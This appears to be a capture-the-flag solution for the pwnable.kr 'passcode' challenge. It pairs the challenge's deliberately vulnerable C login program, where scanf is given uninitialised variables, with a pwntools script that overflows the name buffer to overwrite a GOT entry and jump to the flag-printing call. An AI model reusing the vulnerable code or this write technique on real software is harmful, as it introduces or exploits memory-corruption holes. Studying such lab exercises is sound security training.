【pwnable.kr】passcode

#include <stdio.h>
#include <stdlib.h>
void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
    welcome();
    login();
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}

import struct
import pwn
import subprocess
addr = 0x0804a004
name = 'P'*96 + pwn.p32(addr) + str(0x80485e3)
target = pwn.process('/home/passcode/passcode')
#child = subprocess.Popen(args= ['/home/p4nda/Desktop/passcode',str(name)])
target.send(name)
target.interactive()